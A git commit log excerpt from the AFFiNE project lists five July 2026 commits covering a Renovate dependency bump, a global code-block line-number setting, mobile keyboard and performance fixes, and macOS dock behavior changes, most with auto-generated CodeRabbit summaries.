renovate[bot] e8fefc82c1 chore: bump up @atlaskit/pragmatic-drag-and-drop version to v2 (#15394)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^1.7.7` →
`^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop/2.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1?slim=true)
|

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 19:06:55 +08:00
MrX 6170a90785 feat(editor): add permanent global toggle for code block line numbers (#15381)
Add a persistent "Show line numbers in code blocks" setting to Editor
Settings that controls line-number visibility across all code blocks.
Individual blocks can still override the global default via the
per-block More menu toggle.

## Changes

- **schema.ts** - add `codeBlockLineNumbers: z.boolean().default(true)`
to `AffineEditorSettingSchema`
- **code-block.ts** - read `codeBlockLineNumbers` from
`EditorSettingProvider` reactively via a stable `signal(true)` updated
by `effect()` in `connectedCallback`; expose `showLineNumbers` getter as
single source of truth used by both `renderBlock()` and the toolbar
- **config.ts** - toolbar line-number toggle reads
`blockComponent.showLineNumbers` (resolved state) instead of
`model.props.lineNumber ?? true`
- **general.tsx** - add `DefaultCodeBlockLineNumberSettings` Switch row
in editor general settings
- **en.json + i18n.gen.ts** - add i18n strings for the new setting
- **line-numbers.spec.ts** - add 7 e2e tests covering default
visibility, global toggle on/off, per-block override in both directions,
multi-block, newly created blocks, and persistence across reload

## Behaviour

| State | Result |
|---|---|
| Global ON (default), no per-block override | Line numbers shown |
| Global OFF, no per-block override | Line numbers hidden |
| Global OFF, per-block explicitly ON | Line numbers shown |
| Global ON, per-block explicitly OFF | Line numbers hidden |
| Mobile (feature flag) | Always hidden regardless of settings |

## Notes

- Existing per-block toggle behaviour is fully preserved and unchanged
- Default is `true` so no regression for existing users
- The blocksuite-side reads `codeBlockLineNumbers` via a type cast (`as
Record<string, unknown>`) because the key lives in the AFFiNE-level
`EditorSettingSchema`, not in blocksuite's own `GeneralSettingSchema` -
this is an intentional architectural boundary

Closes #14965


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a global setting to show or hide line numbers in code blocks by
default.
  * Added localized title and description text for the new setting.
  * Preserved per-code-block overrides through the block’s More menu.

* **Bug Fixes**
* Line-number visibility now stays consistent across existing and newly
created code blocks, including after reloads.

* **Tests**
* Added end-to-end coverage for defaults, overrides, persistence, and
multiple code blocks.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-31 17:07:43 +08:00
DarkSky b6fc0a2192 fix(mobile): mobile keyboard padding (#15365)
#### PR Dependency Tree


* **PR #15365** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Bug Fixes**
- Improved mobile keyboard and toolbar layout handling when the keyboard
overlays or resizes app content.
- Prevented incorrect extra spacing when Android applies keyboard insets
directly.
- Updated toolbar sizing and visibility states for smoother transitions.

- **Style**
- Adjusted mobile bottom spacing to account for keyboard height, safe
areas, and toolbar height.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-28 13:02:38 +08:00
DarkSky 0d889bc643 feat: improve mac dock behavior (#15334)
#### PR Dependency Tree


* **PR #15334** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Enhancements**
* Improved main-window restoration for deep links, second-instance
launches, tray/menu actions, and when recordings finish.
* Refined macOS Dock show/hide behavior with throttling for smoother
window visibility.
* Updated close-to-tray/close-to-background handling to better manage
the app’s window lifecycle.
* Ensured popup/dock visibility is consistent when opening new windows.
* Updated window behavior settings display so tray-related options
render correctly across platforms.
* **Localization**
* Updated Simplified Chinese wording for menubar window behavior title.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-23 23:25:55 +08:00
DarkSky 1d36e2e4b2 feat(core): improve mobile perf (#15317)
#### PR Dependency Tree


* **PR #15317** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Virtualized mobile navigation with shell navigation and interactive
swipe menus; coordinated mobile back handling with interactive
phases/state restoration.
* Added shared auth request proxy and message-port based token handling
across mobile and worker flows.
* **Bug Fixes**
  * Hydrated remote worker error stacks for calls and observable errors.
* Improved SQLite FTS/indexer and nbstore optional text handling;
refined docs-search ref parsing and notification loading/retry.
* **Refactor / UX**
* Modal focus-preservation and pointer behavior updates; improved mobile
menu controls and back gesture plugins.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-23 00:23:21 +08:00